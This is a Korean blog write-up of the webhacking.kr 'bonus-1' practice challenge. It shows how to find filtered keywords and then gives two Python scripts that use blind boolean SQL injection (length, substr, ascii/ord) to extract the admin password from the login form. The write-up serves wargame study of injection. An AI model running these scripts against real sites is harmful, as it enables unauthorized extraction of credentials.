728x90


일단 간단하게 id를 admin으로 해서 시도해 봅시다

흠 단순히 login fail이라고 나오네요
간단한 sql injection구문을 넣어봅시다


음 똑같이 나오네요? pw에 시도해 봅시다.


어 이번엔 좀 다르게 나옵니다.


이번에도 다르게 'no hack'이라고 나오네요

이번엔 'guest'로 로그인 해봤는데 빠밤 성공이라고 뜨네요!
일단 노가다로 이것저것 해 봐서 알아낸 것들은
1. 필터링 되는 문자(대소문자구분X): select
2. 필터링 안되는 문자: where, from, union, #, -- ,
3. 참일 경우: worng password

4. 거짓일 경우: login fail

이렇게 긴 방황의 끝에 드디어 갈피를 찾았습니다.

바로 참과 거짓을 통해 pw를 알아내는 것이죠!!
password가 pw라는 변수에 들어가 있다고 생각해 봅시다. 그리고 length(pw)를 사용해 pw의 길이를 알아내 봅시다

시도 결과 참이라고 뜨네요~~
이 방법을 이용해서 pw의 길이와 내용 모두 알아냅시다
import requests
URL='https://webhacking.kr/challenge/bonus-1/index.php'
cookie={'PHPSESSID': '----------------------'}
length=1
while True:
#print(length)
#param=f'?id=admin&pw=%27+or+length(pw)={length}#'
#param=f'?id=admin&pw=%27+or+length%28pw%29%3D{length}%23'
param=f'?id=guest&pw=%27%20or%20id=%27admin%27%20and%20length(pw)={length}%23'
#f-string사용 length변수 사용에 필요함.
res= requests.get(URL+param)
if "wrong password" in res.text:
break;
else:
length+=1
print("pw 길이: "+str(length))
pw=""
for i in range(length):
ans=33
while True:
#print("%d번째 문자: %c시도중"%(i+1, ans))
param= f'?id=guest&pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))={ans}%23'
res= requests.get(URL+param, cookies=cookie)
if "wrong password" in res.text:
pw+=chr(ans)
print("%d번째 문자확인: %s"%(i+1, pw))
break;
else:
ans+=1



++ 또다른 코드
import requests
url = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'
def query(payload):
res = requests.get(url + payload)
content = res.text
return TRUE_PHRASE in content
def pw_length():
pw_len = 1
while query("' or id='admin' and length(pw)={}-- ".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
def find_pw(): # 문자열을 아스키코드로 반환하는 ord 함수 사용
pw_len = pw_length()
pw = ''
for i in range(1, pw_len + 1):
for char in range(0, 128):
if query("' or id='admin' and ord(substr(pw,{},1))={}-- ".format(i, char)) is True: # 한글자씩 검사
pw += chr(char)
break
print('pw: {}'.format(pw))
find_pw()
https://velog.io/@julia/webhacking.kr-11%EB%B2%88-%ED%92%80%EC%9D%B4
'보안 공부 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 5번 풀이 (0) | 2021.12.05 |
---|---|
webhacking.kr 26번 풀이 (0) | 2021.12.05 |
webhacking.kr 3번 풀이 (0) | 2021.12.04 |
webhacking.kr 2번 풀이(파이썬 이용) (0) | 2021.12.03 |
webhacking.kr 2번 풀이 (0) | 2021.12.03 |